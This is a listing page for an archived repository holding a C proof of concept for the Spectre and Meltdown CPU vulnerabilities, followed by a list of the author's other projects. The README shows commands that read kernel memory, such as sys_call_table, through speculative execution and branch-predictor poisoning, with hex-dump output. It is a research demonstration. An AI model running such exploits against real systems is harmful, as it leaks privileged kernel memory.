• This repository has been archived on 05/Aug/2021
  • Stars
    star
    129
  • Rank 279,262 (Top 6 %)
  • Language
    C
  • Created almost 7 years ago
  • Updated almost 7 years ago

Reviews

There are no reviews yet. Be the first to send feedback to the community and the maintainers!

Repository Details

A semi-demi-working proof of concept for a mix of spectre and meltdown vulnerabilities

Spectre and Meltdown Proof-of-Concept

Read kernel addresses by stalling the pipeline and speculatively hitting a cacheline:

$ make
...
$ grep ' sys_call_table' /proc/kallsyms
ffffffff8f800180 R sys_call_table
$ ./poc ffffffff8f800180
0xffffffff8f800180 | 10 40 23 8f ff ff ff ff d0 40 23 8f ff ff ff ff
0xffffffff8f800190 | c0 14 23 8f ff ff ff ff 60 f6 22 8f ff ff ff ff
0xffffffff8f8001a0 | 40 91 23 8f ff ff ff ff 70 91 23 8f ff ff ff ff
0xffffffff8f8001b0 | 50 91 23 8f ff ff ff ff 10 af 24 8f ff ff ff ff
...

Motivational GIF

Read kernel addresses by poisoning the branch predictor and speculatively hitting a cacheline:

$ ./poc_poison ffffffff8f800180
cutoff: 192
0xffffffff8f800180 | 10 40 23 8f ff ff ff ff d0 40 23 8f ff ff ff ff
...

Visualize memory read timings:

$ ./poc_vis ffffffff8f800180

More Repositories

1

BOOTSTRA

This is an experiment in bootstrapping some sort of programming language/environment from a clean MS-DOS install.
Batchfile
117
star
2

wtfcoc

A reasonable Code of Conduct for reasonable people.
103
star
3

LUA

A programming language based upon the lua programming language
C
35
star
4

yoctoparsec

A truly tiny monadic parsing library
Haskell
28
star
5

Doger

Used to be the official dogecoin IRC tipbot. Discontinued as of May 2020.
Python
24
star
6

discord-eval

A discord frontend for an interactive interpreter bot
Haskell
22
star
7

sandbox

A secure process-level sandbox based on a ptrace jail
C++
13
star
8

th-tc

Poor man's typechecker in Template Haskell
Haskell
9
star
9

tcpaste

A TCP pastebin
C++
8
star
10

finite-typelits

A type inhabited by finitely many values, indexed by type-level naturals.
Haskell
8
star
11

yt

youtube downloader in lua
Lua
8
star
12

hexchat-lua

Lua scripting plugin for Hexchat
7
star
13

vtshot

Linux console recording tool.
C
7
star
14

dlng

Dynamic Linker NG
C
6
star
15

functional-kmp

KMP implemented on haskell's built-in cons-cell-based lists.
Haskell
6
star
16

um32

Universal Machine emulator in C
C
5
star
17

xsTPTIRC

IRC client for The Powder Toy (http://powdertoy.co.uk)
Lua
5
star
18

os

C
5
star
19

znc-modules

ZNC modules
C++
4
star
20

icfpc2021

Haskell
3
star
21

fresnel

Numerical Fresnel diffraction
C
3
star
22

dequantify

A program that removes quantifiers in statements involving rational functions using Tarski-Seidenberg algorithm
Haskell
3
star
23

singleton-typelits

Singletons and induction schemes for GHC TypeLits.
Haskell
3
star
24

xsRecord

x11 screen recorder, outputs PPM for convertability reasons
C++
3
star
25

Hask

CT stuff in haskell
Haskell
3
star
26

ZF

Experimenting with classical FOL+ZF in Coq.
Coq
3
star
27

aoc-2020

Haskell
2
star
28

hexchat-haskell

A Haskell scripting plugin for HexChat
Haskell
2
star
29

rualloc

Retarded Useless Allocator
C
2
star
30

bananapeel

Java
2
star
31

coercion-extras

Extra utilities for manipulating nominal and representational coercions
Haskell
2
star
32

h6502

A haskell 6502 emulator presented as a monad transformer
Haskell
2
star
33

partial-records

Template haskell utilities for constructing records with default values
Haskell
2
star
34

monad-introspect

Haskell
2
star
35

fbmode

A tiny tool for editing the framebuffer settings
C
2
star
36

aoc2021

Haskell
2
star
37

fdmp

Floppy drive midi player
C++
1
star
38

ansi-g-machine

C
1
star
39

icfpc2020-galaxy

Haskell
1
star
40

xsBot

IRC bot completely in Lua
Lua
1
star
41

mniip.github.io

CSS
1
star
42

apk

Cruft-less android app template, compilable via make, importable into an Android Studio project.
Makefile
1
star
43

highlel

HIGH Level Emulation of Linux
C++
1
star
44

nibble-trie

Haskell
1
star